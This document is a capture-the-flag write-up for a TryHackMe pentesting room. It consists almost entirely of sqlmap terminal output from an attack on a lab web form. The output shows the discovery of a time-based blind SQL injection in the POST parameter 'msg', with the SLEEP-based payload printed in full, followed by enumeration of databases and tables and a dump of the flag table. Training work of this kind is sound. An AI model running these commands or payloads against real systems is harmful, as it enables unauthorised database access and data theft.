sqlmap

thm_room_link : https://tryhackme.com/room/ccpentesting
part : sql injection

```
e the number of requests? [Y/n] y
[23:25:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:25:59] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query column
s. Automatically extending the range for current UNION query injection technique test
[23:26:05] [INFO] target URL appears to have 1 column in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] n
[23:26:20] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=m
ysql')
[23:26:25] [INFO] target URL appears to be UNION injectable with 1 columns
[23:26:47] [WARNING] POST parameter 'msg' does not seem to be injectable
[23:26:47] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wi
sh to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect t
hat there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2co
mment') and/or switch '--random-agent', skipping to the next form
[23:26:47] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kafka/.local/share/sqlmap/output/
results-12272020_1125pm.csv'

[*] ending @ 23:26:47 /2020-12-27/

[kafka@kafka ~]$ cat /home/kafka/.local/share/sqlmap/output/results-12272020_1125pm.csv
Target URL,Place,Parameter,Technique(s),Note(s)
[kafka@kafka ~]$ sqlmap -u "http://10.10.200.75" --forms --dbms mysql --dbs

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
 to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 23:27:29 /2020-12-27/

[23:27:29] [INFO] testing connection to the target URL
[23:27:30] [INFO] searching for forms
[#1] form:
```

```
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: msg (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: msg=JBlu' AND (SELECT 5808 FROM (SELECT(SLEEP(5)))eqjv) AND 'JDkp'='JDkp
---
do you want to exploit this SQL injection? [Y/n] y
[23:29:53] [INFO] the back-end DBMS is MySQL
[23:29:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential
disruptions
back-end DBMS: MySQL >= 5.0.12
[23:29:59] [INFO] fetching database names
[23:29:59] [INFO] fetching number of databases
[23:29:59] [INFO] retrieved: 5
[23:30:17] [INFO] retrieved: information_schema
[23:36:16] [INFO] retrieved: mysql
[23:37:56] [INFO] retrieved: performance_schema
[23:43:21] [INFO] retrieved: sys
[23:44:22] [INFO] retrieved: tests
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] tests

[23:46:02] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kafka/.local/share/sqlmap/output/
results-12272020_1127pm.csv'

[*] ending @ 23:46:02 /2020-12-27/
```

```
[00:09:43] [WARNING] user aborted in multiple target mode
do you want to skip to the next target in list? [Y/n/q] n

[*] ending @ 00:09:45 /2020-12-28/

^[[A[kafka@kafka ~]$ sqlmap -u "http://10.10.200.75" --forms --dbms mysql -D tests --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
 to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 00:09:48 /2020-12-28/

[00:09:48] [INFO] testing connection to the target URL
[00:09:48] [INFO] searching for forms
[#1] form:
POST http://10.10.200.75/
POST data: msg=
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: msg=] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y
[00:09:50] [INFO] using '/home/kafka/.local/share/sqlmap/output/results-12282020_1209am.csv' as the CSV results file in multiple targets
 mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: msg (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: msg=JBlu' AND (SELECT 5808 FROM (SELECT(SLEEP(5)))eqjv) AND 'JDkp'='JDkp
---
do you want to exploit this SQL injection? [Y/n] y
```

```
[00:09:52] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[00:10:53] [INFO] confirming MySQL
[00:10:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential
disruptions
[00:11:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[00:11:04] [INFO] fetching tables for database: 'tests'
[00:11:04] [INFO] fetching number of tables for database 'tests'
[00:11:04] [INFO] retrieved: 2
[00:11:17] [INFO] retrieved: lol
[00:12:31] [INFO] retrieved: msg
Database: tests
[2 tables]
+-----+
| lol |
| msg |
+-----+

[00:13:31] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kafka/.local/share/sqlmap/output/
results-12282020_1209am.csv'

[*] ending @ 00:13:31 /2020-12-28/

[kafka@kafka ~]$ sqlmap -u "http://10.10.200.75" --forms --dbms mysql -D tests -T lol --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
```

```
[00:23:19] [INFO] resumed: flag
[00:23:19] [INFO] fetching entries for table 'lol' in database 'tests'
[00:23:19] [INFO] fetching number of entries for table 'lol' in database 'tests'
[00:23:19] [INFO] resumed: 1
[00:23:19] [INFO] resuming partial value: f
[00:23:20] [WARNING] reflective value(s) found and filtering outr statistical model, please wait
............................ (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[00:24:36] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential
disruptions
[00:24:50] [INFO] adjusting time delay to 3 seconds due to good response times
ound
[00:26:13] [ERROR] invalid character detected. retrying..
[00:26:13] [WARNING] increasing time delay to 4 seconds
_m
[00:27:21] [ERROR] invalid character detected. retrying..
[00:27:21] [WARNING] increasing time delay to 5 seconds
e
Database: tests
Table: lol
[1 entry]
+----------+
| flag     |
+----------+
| found_me |
+----------+

[00:27:44] [INFO] table 'tests.lol' dumped to CSV file '/home/kafka/.local/share/sqlmap/output/10.10.200.75/dump/tests/lol.csv'
[00:27:44] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kafka/.local/share/sqlmap/output/
results-12282020_1223am.csv'

[*] ending @ 00:27:44 /2020-12-28/
```